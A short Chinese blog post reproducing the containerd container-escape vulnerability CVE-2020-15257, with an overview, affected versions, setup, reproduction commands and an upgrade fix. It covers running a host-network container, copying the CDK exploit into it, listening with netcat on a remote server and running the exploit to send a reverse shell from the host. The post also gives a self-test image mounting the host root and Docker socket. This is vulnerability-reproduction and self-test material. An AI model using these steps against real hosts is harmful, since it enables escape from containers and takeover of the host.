Docker 容器逃逸漏洞 (CVE-2020-15257)复现 电脑版发表于:2020/12/29 15:48  >#Docker容器逃逸漏洞(CVE-2020-15257)复现 [TOC] 漏洞概述 ------------ tn>containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。 影响版本 ------------ >- containerd < 1.4.3 - containerd < 1.3.9 环境搭建 ------------ tn>安装有漏洞的containerd版本 这里我使用的版本是`1.2.6`  漏洞复现 ------------ tn>通过 `--net=host` 作为启动参数来运行一个容器: ```bash docker run -it --net=host ubuntu:18.04 /bin/bash ```   tn>接着在容器内执行 ```bash cat /proc/net/unix|grep -a "containerd-shim" ``` tn>可看到抽象命名空间Unix域套接字  tn>Poc地址 ```bash https://github.com/Xyntax/CDK/releases/tag/0.1.6 ``` tn>这里为了方便行事,我们下载解压直接把`cdk_linux_amd64`文件拷贝到容器里 ```bash tar -zxvf cdk_v0.1.6_release.tar.gz docker cp cdk_linux_amd64 3e19b9e33ad0:/tmp ```  tn>然后在另外一个服务器上用瑞士军刀`6666`端口,开启监听。  tn>在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸   漏洞应急与自测 ------------ tn>为了便于验证用户环境中是否存在该漏洞,我们提供了poc镜像。使用方式如下: ```bash sudo docker run -it --rm -v /:/host/ -v /var/run/docker.sock:/var/run/docker.sock --net=host dosecteam/pocs:CVE-2020-15257 ```  修复建议 ------------ tn>升级 containerd 至最新版本。